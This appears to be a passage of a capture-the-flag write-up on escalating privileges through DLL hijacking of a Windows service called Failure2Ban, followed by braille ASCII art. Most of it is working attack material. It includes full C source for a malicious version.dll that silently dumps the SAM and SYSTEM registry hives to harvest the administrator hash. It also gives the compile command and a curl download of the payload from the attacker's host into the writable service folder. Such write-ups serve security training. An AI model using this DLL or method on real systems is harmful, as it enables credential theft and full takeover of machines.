$ sudo apt update
$ sudo apt -y install build-essential gcc g++ make cmake libelf-dev llvm clang libzstd1 git libjson-glib-dev libxml2 libxml2-dev libssl-dev
$ git clone https://github.com/Sysinternals/ProcMon-for-Linux.git
$ cd ProcMon-for-Linux
$ mkdir build
$ cd build
$ cmake ..
$ make
$ sudo procmon -f PLogfile.PM

Found that version.dll shows “NAME NOT FOUND”.

The directory of this DLL is C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug, let’s then check if we can read and write to it:

PS C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug> echo aaa > r.pwn
PS C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug> dir


    Directory: C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug


Mode                LastWriteTime         Length Name                                                                   
----                -------------         ------ ----                                                                   
d-----       12/20/2025  12:00 AM                Logs                                                                   
-a----         5/1/2024   7:48 AM          13312 Failure2Ban.exe                                                        
-a----        4/30/2024   1:39 PM            283 Failure2Ban.exe.config                                                 
-a----        4/30/2024  12:55 AM          28160 Failure2Ban.pdb                                                        
-a----        4/30/2024  12:53 AM          22984 Failure2Ban.vshost.exe                                                 
-a----        4/25/2024  11:39 AM            273 Failure2Ban.vshost.exe.config                                          
-a----         5/6/2022  10:20 PM            490 Failure2Ban.vshost.exe.manifest                                        
-a----       12/20/2025   3:15 AM             12 r.pwn                                                                  


PS C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug> type r.pwn
aaa

Confirmed we have read/write access.

We check also the Logs folder:

PS C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug> dir Logs


    Directory: C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug\Logs


Mode                LastWriteTime         Length Name                                                                   
----                -------------         ------ ----                                                                   
-a----       10/11/2025   6:48 AM           8928 ServiceLog_10_11_2025.txt                                              
-a----       10/12/2025   2:26 PM           5680 ServiceLog_10_12_2025.txt                                              
-a----       10/13/2025   2:46 PM          18482 ServiceLog_10_13_2025.txt                                              
-a----       10/14/2025   2:12 PM          22866 ServiceLog_10_14_2025.txt                                              
-a----       10/15/2025   2:53 PM          23780 ServiceLog_10_15_2025.txt                                              
-a----       10/18/2025   1:53 PM            272 ServiceLog_10_18_2025.txt                                              
-a----       10/19/2025   2:49 PM          11356 ServiceLog_10_19_2025.txt                                              
-a----       10/20/2025   2:08 PM          14171 ServiceLog_10_20_2025.txt                                              
-a----       10/21/2025   2:42 PM           9248 ServiceLog_10_21_2025.txt                                              
-a----       10/22/2025   2:27 PM          16041 ServiceLog_10_22_2025.txt                                              
-a----       10/27/2025   1:28 PM          14447 ServiceLog_10_27_2025.txt                                              
-a----       10/28/2025  12:20 PM           8595 ServiceLog_10_28_2025.txt                                              
-a----        10/6/2025   6:45 PM           4699 ServiceLog_10_6_2025.txt                                               
-a----        10/7/2025   2:21 PM          45229 ServiceLog_10_7_2025.txt                                               
-a----        10/8/2025   7:55 AM          10435 ServiceLog_10_8_2025.txt                                               
-a----       11/28/2025  12:27 PM          11023 ServiceLog_11_28_2025.txt                                              
-a----        11/5/2025  12:11 PM           1048 ServiceLog_11_5_2025.txt                                               
-a----        11/6/2025   1:43 PM            669 ServiceLog_11_6_2025.txt                                               
-a----       12/19/2025  11:59 PM           6393 ServiceLog_12_19_2025.txt                                              
-a----       12/20/2025   3:16 AM          21927 ServiceLog_12_20_2025.txt                                              
-a----        12/9/2025   2:12 PM           7371 ServiceLog_12_9_2025.txt                                               
-a----         3/5/2025  10:30 PM            178 ServiceLog_3_5_2025.txt                                                
-a----        4/20/2025   4:27 PM          30277 ServiceLog_4_20_2025.txt                                               
-a----        4/22/2025  11:59 PM          11244 ServiceLog_4_22_2025.txt                                               
-a----        4/23/2025   1:14 AM           9431 ServiceLog_4_23_2025.txt                                               
-a----        4/26/2025  11:59 PM          14014 ServiceLog_4_26_2025.txt                                               
-a----        4/27/2025   9:41 AM          15478 ServiceLog_4_27_2025.txt                                               
-a----         5/2/2025   8:42 AM           2056 ServiceLog_5_2_2025.txt                                                
-a----         5/4/2024   9:24 PM           6319 ServiceLog_5_4_2024.txt                                                
-a----         5/4/2025   8:44 PM           1704 ServiceLog_5_4_2025.txt                                                
-a----         5/5/2024   8:59 PM           3438 ServiceLog_5_5_2024.txt                                                
-a----         5/5/2025   6:09 PM            130 ServiceLog_5_5_2025.txt                                                
-a----         5/6/2024   2:01 PM            350 ServiceLog_5_6_2024.txt                                                
-a----         9/7/2025  11:59 PM           8654 ServiceLog_9_7_2025.txt                                                
-a----         9/8/2025  12:17 AM           1344 ServiceLog_9_8_2025.txt
PS C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug> type Logs\ServiceLog_10_11_2025.txt
10/11/2025 3:48:51 AM - Service is stopped
10/11/2025 3:48:52 AM - Service is started
10/11/2025 3:48:52 AM - Proccessing log file
10/11/2025 3:49:22 AM - Proccessing log file
10/11/2025 3:49:52 AM - Proccessing log file
10/11/2025 3:50:22 AM - Proccessing log file
10/11/2025 3:50:52 AM - Proccessing log file
10/11/2025 3:51:22 AM - Proccessing log file
10/11/2025 3:51:52 AM - Proccessing log file
10/11/2025 3:52:22 AM - Proccessing log file
10/11/2025 3:52:52 AM - Proccessing log file
10/11/2025 3:53:22 AM - Proccessing log file
10/11/2025 3:53:52 AM - Proccessing log file
10/11/2025 3:54:22 AM - Proccessing log file
10/11/2025 3:54:52 AM - Proccessing log file
10/11/2025 3:55:22 AM - Proccessing log file
10/11/2025 3:55:52 AM - Proccessing log file
10/11/2025 3:56:22 AM - Proccessing log file
10/11/2025 3:56:52 AM - Proccessing log file
10/11/2025 3:57:22 AM - Proccessing log file
10/11/2025 3:57:52 AM - Proccessing log file
10/11/2025 3:57:58 AM - Service is stopped
10/11/2025 3:57:58 AM - Service is started
...

The service is restart each 10 minutes.

Let’s craft our malicious DLL that has only 1 objective is to dump the Registry Hives to be able to grab the admin hash offline:

$ cat grab_reghives.c               
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <wininet.h>
#pragma comment(lib,"wininet")

int reghive_dump(void);

typedef void (*fp) (void);

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
    switch (dwReason)
    {
        case DLL_PROCESS_ATTACH:
        reghive_dump();
        break;
    }
    return TRUE;
}

int reghive_dump() {
    WinExec("cmd.exe /c reg save hklm\\system C:\\system", SW_HIDE);
    WinExec("cmd.exe /c reg save hklm\\sam C:\\sam", SW_HIDE);
    return 0;
}

Compile it:

$ x86_64-w64-mingw32-gcc -static -shared -o dump.dll grab_reghives.c -ladvapi32 -lwininet

Upload it as version.dll:

PS C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug> curl -o version.dll 10.10.xx.xx/dump.dll
PS C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug> dir


    Directory: C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug


Mode                LastWriteTime         Length Name                                                                   
----                -------------         ------ ----                                                                   
d-----       12/20/2025  12:00 AM                Logs                                                                   
-a----         5/1/2024   7:48 AM          13312 Failure2Ban.exe                                                        
-a----        4/30/2024   1:39 PM            283 Failure2Ban.exe.config                                                 
-a----        4/30/2024  12:55 AM          28160 Failure2Ban.pdb                                                        
-a----        4/30/2024  12:53 AM          22984 Failure2Ban.vshost.exe                                                 
-a----        4/25/2024  11:39 AM            273 Failure2Ban.vshost.exe.config                                          
-a----         5/6/2022  10:20 PM            490 Failure2Ban.vshost.exe.manifest                                        
-a----       12/20/2025   3:15 AM             12 r.pwn                                                                  
-a----       12/20/2025   3:28 AM          86314 version.dll

Drink a Red Bull and wait 10 minutes…

⠁⠀⢈⢧⡙⠆⠀⠀⡜⣣⢍⠀⠀⢨⢇⡯⠀⠀⠀⣏⠮⡅⠀⠀⢹⡌⣯⠀⠀⠀⣏⠮⡅⠀⠀⢣⡝⣆⠀⠀⢸⡸⣱⠀⠀⠀⡯⣜⡅⠀⠀⢸⣱⢹⠀⠀⠈⣎⣳⡁⠀⠀⢎⡵⣃⠀⠀⢨⢇⡯⠀⠀⠀⣏⠮⡅⠀⠀⢹⡌⣯⠀⠀⢀⠯⣎⠅⠀⠀⢣⡝⡆⠀⠀⢸⣸⢱⠀⠀⠀⡯⣜⡃⠀⠀⢸⡱⢭⠀⠀⢈⢮⣱⠃⠀⠀⢎⢧⡃⠀⠀⠸⣥⢫⠀⠀⠀⣭⢛⡄⠀
⡷⣚⠤⠀⠉⢰⢒⠶⠈⠀⠈⣖⢲⠂⠈⠀⢓⢦⠓⠈⠀⢰⢲⡱⠂⠀⠀⡖⡲⠎⠀⠁⢰⡒⡞⠀⠈⠀⡖⠮⡄⠀⠁⡒⣎⠖⠁⠀⢰⠲⣜⠀⠀⠀⣖⢲⠃⠀⠀⢰⢒⠶⠈⠀⠀⣖⢣⠆⠈⠀⡓⢦⡓⠀⠁⢰⢒⠧⠂⠀⠀⡖⡲⠆⠁⠀⢰⡒⢧⠀⠈⠐⣲⠣⠆⠀⠈⠲⡜⡆⠁⠀⢰⢒⡖⠂⠁⠈⡖⡲⠆⠀⠀⢱⢒⠶⠈⠀⠈⣖⢣⠆⠀⠁⣒⢖⡒⠀⠈⢰⡣
⠓⠉⠢⢤⠤⡘⠊⠙⡤⢤⢤⠚⠃⢣⠤⣤⠍⠊⠙⡤⢤⡜⠒⠃⣥⠤⣤⠑⠋⢃⡤⢤⡔⠙⠚⡤⢤⢤⠙⠓⢢⠤⣤⠕⠊⢃⡤⢤⡌⠓⠚⣠⠤⣤⠊⠓⢫⡤⢤⡌⠙⠚⡤⢤⢤⠋⠚⢠⠤⣤⠙⠒⠑⡤⢤⡜⠊⠛⣤⠤⣤⠓⠉⢃⡤⢤⡜⠘⠃⡤⢤⢤⠃⠛⢢⠤⣤⡝⠚⢘⡤⠤⡜⠊⠘⣡⠤⣤⠓⠙⢣⠤⢤⡜⠊⠙⡤⢤⢴⠊⠓⢢⠤⣤⡘⠊⠘⠤⣤⠐⠃
⡂⢀⠈⠧⢋⠇⢀⡀⠿⠸⢾⡀⣀⣸⠯⠼⠃⣀⠐⠏⠧⢇⢀⡀⡻⠼⠹⠀⣀⠘⠧⠏⣇⡀⣀⡿⠥⠻⢀⡀⠸⠳⠼⡃⣀⢈⠟⠦⠇⢀⡀⠻⠼⢹⣀⢀⣸⠧⠫⠇⣀⠀⠳⠭⠾⢀⡀⢺⠹⠼⠁⣀⠘⠏⠧⢇⣀⡀⣻⠼⠹⢀⡀⠘⠵⠣⢇⡀⡀⠿⠥⠛⢀⡀⠸⠳⠼⣁⢀⣈⡷⠫⠇⣀⠀⠹⠺⠼⣀⢀⠸⠻⠌⠇⣀⠀⠟⠬⢻⡀⣀⣺⠽⠼⠁⡀⠀⠟⠴⠃⠀
⡯⣍⠇⠀⠀⢸⠳⣼⠀⠀⢰⡇⢧⡇⠀⠀⡟⡴⢫⠀⠀⢸⣣⢓⡇⠀⠀⡟⢦⣏⠀⠀⢸⡱⢎⡇⠀⠘⣧⢚⡅⠀⠀⡷⣱⢺⠀⠀⢸⠳⣼⡁⠀⠀⣏⠶⣹⠀⠀⢸⠼⣹⠀⠀⢸⢧⡙⡇⠀⠀⡟⡴⢫⠀⠀⢸⡱⢞⡇⠀⠀⡧⣏⡗⠀⠀⢸⡵⣹⠆⠀⠘⣧⢚⡅⠀⠀⣏⡞⣼⠀⠀⢸⢼⣩⠇⠀⠀⣏⠮⣽⠀⠀⢸⠼⣹⠀⠀⢸⡓⢦⡇⠀⠀⣏⡳⡍⠀⠀⢸⡙
⡁⠈⠡⢖⡒⡎⠉⠈⣗⣒⢺⠉⠉⣱⢖⣲⠍⠉⠉⣖⠲⣎⠉⠉⣷⢒⣲⠉⠁⢩⡖⡲⡏⠉⠉⣗⡒⢾⠀⠉⢱⢒⢶⡋⠉⢩⣖⠲⡎⠉⠈⣵⢒⢶⠉⠉⢹⡖⣲⡎⠉⠉⣒⢖⣺⠉⠉⣱⣒⢶⡁⠉⢩⡖⡲⣎⠉⠉⣷⢒⣶⠁⠉⢡⢖⡲⡏⠉⠉⣖⡲⣚⠀⠉⢱⣒⢶⡋⠉⢩⣖⢲⡎⠁⠉⢴⡒⢶⠉⠉⢹⣒⢲⡎⠉⠉⣖⡲⢺⠉⠉⣱⢖⣲⡁⠁⠁⣖⢲⠂⠉
⣤⢠⠌⠚⠑⢃⡠⢄⡓⠚⠻⡄⢤⡜⠚⠚⡤⢠⢄⠋⠓⢣⡄⡤⡝⠚⠚⡄⡄⡼⠓⠓⢧⡠⢤⡟⠘⠫⡄⡄⡜⠙⠚⣅⡠⢤⠋⠓⢣⢠⢄⡞⠙⠺⣤⢠⢼⠓⠓⢣⢠⢠⠙⠚⠸⣄⡠⡜⠚⠚⡄⡤⢠⠛⠓⢣⡄⢤⡟⠚⠚⡄⡤⡠⠛⠒⢧⢠⣄⠛⠒⢋⡄⡤⡜⠓⠚⣥⠠⣴⠛⠒⢣⢠⢄⡜⠙⠺⡄⣤⣘⠃⠓⢣⢠⢠⠓⠙⢻⡄⢤⡜⠚⠚⡄⣄⣀⠊⠃⢃⡄
⢧⢋⠖⠀⠀⣸⠙⣞⠀⠀⣸⣏⣣⣏⠀⢀⡏⢳⢊⠀⠀⣸⣜⡱⠇⠀⢀⡯⢱⡓⠀⢀⣸⣙⣮⡅⠀⢘⠧⡙⠆⠀⢀⣧⣙⠾⠀⠀⣸⠍⡞⡄⠀⣀⣧⣋⣾⠀⠀⣸⠍⡞⠀⠀⢸⣆⡳⢇⠀⠀⡟⡜⡹⠀⠀⣸⣝⣮⡇⠀⢀⡯⡑⠇⠀⡀⣸⢣⣺⠁⠀⢸⠥⡓⡅⠀⢀⣧⣛⣼⠀⠀⣸⠍⡞⠀⢀⢀⡟⣴⡹⠀⠀⣸⠍⣞⡀⠀⣸⣎⣧⡇⠀⢀⡟⡔⠣⠀⠀⠸⡘
⠂⠀⠨⣙⢧⠃⠀⠀⡿⣩⢽⠀⠀⢸⡹⢺⠅⠀⠀⡯⡝⡇⠀⠀⣿⢩⢿⠀⠀⠸⣏⠭⡇⠀⠀⣯⡙⠿⠀⠀⠸⣍⢻⠄⠀⢘⡯⡝⡇⠀⠀⢾⡹⢼⠀⠀⢸⡏⡽⡇⠀⠀⢫⡝⣹⠀⠀⢸⡭⢻⠄⠀⠰⣏⢏⡇⠀⠀⣾⢍⢿⠀⠀⢈⢯⡱⡇⠀⠀⡯⢏⡽⠀⠀⢸⢯⣹⠆⠀⠰⡯⡝⡇⠀⠀⢹⡍⢾⠀⠀⢸⢏⡽⠇⠀⠀⣯⢹⣹⠀⠀⣸⠽⣹⠂⠀⠀⣏⠯⡅⠀
⡶⣒⠆⠉⠀⢱⢒⢦⠁⠁⠸⣖⢢⡏⠈⠁⡒⣖⢢⠁⠁⢱⡒⠶⡌⠁⠈⣔⡲⢆⠉⠈⢱⣒⠶⡁⠉⠁⣖⡲⠌⠈⠁⣖⠲⢦⠁⠈⢰⢒⡲⠌⠁⠉⣖⡲⢮⠁⠀⢱⢒⢦⠁⠈⢡⢖⡒⡎⠈⠁⣒⠲⣆⠉⠈⢱⣒⢦⡏⠈⠈⡖⡲⡌⠀⠁⢱⡒⢶⠉⠈⢀⡖⣒⠎⠀⠉⣖⡲⢼⠁⠉⢰⢒⠶⡈⠈⠉⣖⠲⣎⠈⠀⢱⢒⢦⠁⠁⢸⣒⡒⡎⠁⠁⣒⢖⡢⠈⠁⠰⣆
⠓⠉⢊⢤⣀⡜⠉⠚⡤⢤⢸⠃⠓⢯⢠⢄⡓⠈⠓⡤⢠⡼⠙⠓⣧⠠⣄⠃⠛⢢⡄⢤⡼⠃⠻⣅⠤⣠⠃⠙⢣⠠⢤⠏⠙⠺⡄⡤⡘⠙⠘⣡⠤⣠⠗⠙⢾⡠⢄⡜⠚⠘⡤⢄⢼⠊⠓⢣⢤⣀⠃⠛⠰⡄⡤⡼⠚⠒⣧⠠⢤⠃⠓⠣⣄⠤⡼⠙⠊⣇⠤⣠⠚⠁⢣⠤⣠⠗⠙⢺⡄⡤⡜⠊⠓⢢⠤⣠⠏⠓⢺⡠⢄⡜⠉⠚⡤⢠⢼⠃⠛⢧⡠⢄⠃⠊⠑⡄⣤⠘⠂
⡀⠀⢈⠶⡱⠂⢀⠀⡟⢬⢻⠀⠀⣺⡍⢾⡀⠀⣀⡟⣣⣇⠀⡀⣿⠱⢺⠀⡀⢘⡎⢧⡇⠀⡀⣿⠸⡵⠀⠀⣸⢹⢺⡃⠀⢘⡷⠱⡇⠀⠀⣹⢚⣽⡀⠀⢸⡏⢮⡇⠀⠀⡟⡜⣺⠀⠀⣹⠦⢽⡀⠀⣀⠯⡕⣇⠀⡀⣿⢩⢻⠀⠀⢘⡎⡳⡇⠀⢀⡯⢚⡵⠀⠀⣸⠝⣼⡃⠀⣘⡧⢓⡇⠀⠀⣹⢚⣽⠀⠀⢸⡝⢎⡇⠀⠀⣏⠧⣻⠀⠀⣺⠝⣺⠁⠀⠀⠟⡴⠃⠀
⢯⡙⡇⠀⠀⢸⡹⣚⠄⠀⢸⡏⡝⡇⠀⠀⣯⠹⣬⠀⠀⢸⢎⡵⡇⠀⠀⡟⡜⣧⠀⠀⢸⢏⡽⠆⠀⠸⣍⠷⡁⠀⠀⡧⢯⣹⠀⠀⢸⡹⣍⡇⠀⠀⡯⡝⣻⠀⠀⢸⡹⣹⠀⠀⢨⡏⡝⡇⠀⠀⣏⠳⣭⠀⠀⢸⡹⡜⡇⠀⠀⣏⢏⣇⠀⠀⢸⢏⡽⠂⠀⢰⠏⡽⡁⠀⠀⣗⢫⣼⠀⠀⢸⡹⢭⡅⠀⠀⣏⢏⣷⠀⠀⢸⢭⢛⡀⠀⢸⡍⣏⡇⠀⠀⣏⠯⡍⠀⠀⠸⣍
⠉⠈⠁⡶⢶⡎⠁⠉⡶⢶⢶⠉⠉⢱⡶⢶⡇⠉⠀⡶⢶⡾⠉⠉⣱⠶⣶⠉⠁⢱⠶⡶⡎⠉⠉⡷⠶⣾⠁⠉⢱⠶⣶⠏⠉⠉⡶⢶⡎⠁⠈⣱⠶⣶⠉⠉⢹⡶⢶⡎⠁⠉⡶⢶⢾⠉⠉⢁⣶⣶⠏⠉⠹⠾⠷⠿⢉⣉⣰⣶⢶⠉⠉⢰⡶⢶⡏⠉⠉⡶⢶⣎⠉⠁⢱⠶⣶⠏⠉⢉⡶⢶⡎⠉⠈⣰⠶⣶⠉⠉⢰⡶⢶⡎⠉⠈⡶⢶⢾⠉⠉⢱⠶⣶⠏⠁⠁⡶⢶⡈⠀
⡂⠀⡈⠵⠣⠇⢀⡀⠿⠌⢻⡀⣀⣸⠭⠻⠂⣀⠈⠗⠧⢇⢀⡀⡻⠼⠹⠀⣀⠘⠧⠏⣇⡀⣀⡿⠹⠼⢀⡀⠸⠳⠼⡃⢀⠘⡏⠧⠇⢀⡀⠻⠼⢼⣀⢀⢸⠧⠫⠇⣀⠀⠿⠜⠞⣀⠀⠈⣁⣠⣤⣶⣶⣦⣴⣤⣄⣀⠈⠉⠙⠒⠦⠼⣷⣯⣇⣀⣀⡟⠦⡙⢀⡀⠸⠽⠸⣃⢀⣈⡷⠋⠇⣀⠀⠹⠺⠼⣀⢀⠸⠧⢋⠇⢀⡀⠟⠮⢽⡀⡀⣺⠽⠼⠃⡀⠀⡝⠦⠃⠀
⣯⠹⡅⠀⠀⢸⠳⣼⠀⠀⢸⡇⢧⡇⠀⠀⡟⢦⣻⠀⠀⢸⡳⡜⡇⠀⠀⡟⢦⣏⠀⠀⢸⠵⣪⠇⠀⠨⡗⡜⡇⠀⠀⣯⡙⢾⠀⠀⢸⠳⣼⡁⠀⠀⣏⢮⣻⠀⠀⢸⡱⢫⠀⢀⡼⠋⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶⣦⣄⣀⠀⠉⠛⠯⣄⣂⢨⡗⣎⡇⠀⠀⣏⢶⣹⠀⠀⢸⣱⢫⡅⠀⠀⣏⠮⣽⠀⠀⢸⠳⣼⠀⠀⢸⡕⣣⡇⠀⠀⡟⣜⠣⠀⠀⢸⡙
⡁⠉⢁⡖⣒⡎⠉⠈⣗⣒⢺⠉⠉⣱⢖⣲⡏⠉⠙⣶⠲⡞⠉⠉⣷⢒⣲⠉⠁⢩⡖⡲⡏⠉⠉⣗⡲⣲⠉⠉⢱⢒⣲⠏⠉⢩⣖⣒⡎⠉⠈⣵⢒⣶⠉⠉⢹⡖⡲⠎⣉⠭⠞⢉⣤⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⣄⡀⠉⠚⢩⡉⣳⣖⢶⡋⠉⢩⣖⢲⡎⠁⠉⢴⡒⢶⠉⠉⢹⣒⢲⡎⠉⠈⣖⡲⢺⠉⠉⣱⢖⣲⡉⠈⠁⣖⠲⡄⠉
⣄⡠⡄⠚⠑⢢⢠⢠⠗⠚⠻⡄⢤⡼⠚⠚⣧⢤⡄⠉⠻⢧⣤⢤⡝⠚⠚⡄⡤⢴⠛⠓⢧⡄⣤⠟⠒⢋⡄⡄⡜⠓⠚⣅⡠⢤⠓⠊⢣⢠⢄⡞⠓⠺⣤⠠⡼⠳⠛⠋⢁⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣟⣯⣿⣿⡿⣿⣿⣿⣿⣿⣿⣿⣷⣤⡄⠱⣿⠞⠛⣧⠠⣴⠋⠒⢣⢠⢄⡜⠙⠺⡄⣤⣘⠃⠓⢣⢠⢠⠟⠘⢻⡄⢤⡼⠚⠚⡄⣄⡀⠊⠓⢂⡄
⡧⢳⡁⠀⠀⣸⢍⣞⠀⠀⢸⣏⣣⡗⠀⢀⣿⣞⣿⠀⣶⣄⠉⠛⠂⠀⠀⠿⠼⢯⣀⡀⣸⣚⣼⡃⠀⢨⡗⡩⠆⠀⠀⣧⣙⡾⠀⠀⣸⣍⢞⡅⠀⢀⣧⣛⣼⠐⣤⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⡹⢿⣿⣿⣿⣿⣿⣿⣿⣿⣽⣿⣿⣿⣿⣿⣿⣷⡄⠈⠓⣇⣿⣻⣼⠀⠀⢸⢭⠚⠄⠀⢀⣟⣴⡹⠀⠀⣸⢍⡞⡀⠀⢸⣎⣧⡇⠀⠀⡟⡴⣉⠀⠀⠸⡘
⠀⠀⢈⡝⣣⠇⠀⠀⡯⣝⣹⠀⠀⢸⡝⢯⡇⢀⢾⣆⠉⢿⣿⣿⣶⣶⣤⣤⣤⣤⣄⡉⠁⢀⡀⣯⠝⣿⠀⠀⠸⣍⢻⠅⠀⠰⣏⡝⡇⠀⠀⢸⡭⠟⢀⡀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣏⣿⣿⣿⣷⣿⣿⣾⣿⡿⣿⣻⣿⣿⣯⣿⣿⣿⣄⠀⠈⠑⣦⠰⣏⢯⡇⠀⠀⢺⢍⣻⠀⠀⢸⡭⢫⠇⠀⠀⡯⣝⢻⠀⠀⢼⢭⢻⠁⠀⠀⡯⣹⠁⠀
⡗⢦⠆⠉⠀⢡⢲⣰⠁⠈⢩⡖⣒⡎⠈⠁⣶⢫⣾⢹⣦⣈⠙⠿⣿⣿⣿⣿⣿⣿⣿⣿⣦⢀⢻⣏⠉⠸⣔⡲⡌⠈⠉⣆⠖⣦⠁⠈⢡⣒⡶⠋⣠⣼⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣟⣿⣿⣿⣿⢟⡟⠻⢿⣿⣿⣦⡀⠀⠀⠻⢍⡡⢰⣒⠶⡈⠈⠈⣖⡰⢆⠉⠁⢰⢲⡰⠁⠈⢹⢆⡲⡎⠈⠁⣒⠦⡆⠁⠁⢱⢢
⠛⠌⢃⠤⣀⡜⠃⠚⣄⠤⣰⠛⠖⢫⣀⢤⠓⠯⢿⣶⡼⣿⢷⣶⣤⣴⡶⠀⠀⢛⣿⣿⡿⠈⢸⣿⣦⣼⠃⠒⢧⡠⢤⡟⠺⠜⣠⣤⡼⠋⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣸⣿⣶⣦⡽⣿⣿⣿⣦⡀⠀⠀⠳⡼⠙⠞⣡⢠⢠⠗⠹⢾⡠⣀⡜⠃⠹⡄⢤⣸⠣⠓⢧⡠⢄⠃⠛⠐⣄⣠⠈⠃
⠀⠀⢈⢳⠱⠆⠀⠀⣏⢞⣹⠀⠀⣸⢇⡞⡂⠀⢸⣷⣻⣟⡺⣭⣿⠋⢀⣠⣾⣿⡿⠋⢀⣠⣿⣿⣷⣻⠀⢀⣸⣝⡾⠁⠀⠀⢉⣁⣠⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣽⣿⡿⣿⣾⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿⣿⣿⣶⣤⣀⠀⠘⠦⠞⠓⠛⠀⢀⢸⡇⢧⠇⠀⠀⣛⠦⣽⠀⠀⣺⡱⢻⡀⠀⠀⠷⣌⠃⠀
⡟⣭⠃⠀⠀⢸⡹⣹⠀⠀⢨⡏⡝⡇⠀⠀⣯⠹⣭⠀⠀⢸⡿⣽⡏⠀⣾⣿⣿⠏⠀⣠⣾⣿⣿⡇⠆⢠⢏⣧⠗⠀⢠⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠸⣿⣿⣿⣟⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣶⣌⡝⠻⣿⣷⣶⣶⠶⢀⣀⣿⢮⣷⠀⠀⢸⡭⢛⠀⠀⢸⣍⠳⡇⠀⠀⣯⢹⣉⠀⠀⠸⣍
⠉⠀⢉⢖⡒⡎⠁⠉⣖⢲⢺⠉⠉⢱⣖⢲⡏⠁⢈⡖⣲⡞⢉⠹⣇⠈⣿⣿⣟⠀⢰⣿⡿⣏⡋⢷⢲⣶⠉⠁⣠⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢂⣿⣿⣿⠿⠋⣹⣿⣿⣿⣿⣿⣟⣿⣯⣿⣿⣽⣿⣿⣿⣤⣠⣉⣍⣄⠀⠈⣠⡶⣋⢱⣶⢲⡏⠈⠉⡖⣒⢾⠉⠉⣱⢖⣲⡃⠁⠀⡶⡰⠌⠀
⣡⣀⡈⠎⠑⢃⣠⢀⠋⠃⢻⡄⡄⡽⠊⠹⣀⠤⣈⠗⠃⢧⣤⣬⡿⡄⠹⣿⣿⣆⡈⠛⠿⠶⠤⠛⠋⢀⣠⣶⣿⣿⣿⣿⣿⣿⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣯⣾⠛⠋⠀⠀⣠⣿⣿⣿⣿⣿⣿⡏⣈⣿⣿⣿⡾⠋⠛⠿⠟⠿⠛⠋⣁⣴⣾⣿⣷⣭⣾⠹⠓⢣⢤⣀⠙⠘⢺⡄⡄⡼⠓⠚⣁⢄⣀⠓⠉⢃⣀
⡷⣌⠇⠀⠀⢸⣜⣹⠄⠀⢘⣧⣙⡧⠀⠀⣏⣞⣱⠀⠀⢸⣾⣽⡇⢿⣤⡈⠻⢿⣿⣶⣦⣤⣤⣶⣾⣿⣿⣿⣿⣿⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣿⣥⡙⢻⢿⣷⣦⡄⠐⣿⡿⣿⣿⣿⣟⣿⣿⣿⡿⠟⠋⢀⣼⣿⣶⣶⣶⣾⣿⣿⣿⢿⣹⣿⣟⣿⠈⠅⢺⣱⢺⠀⠀⢸⣧⣙⡇⠀⠀⣏⡞⡤⠀⠀⢘⡖
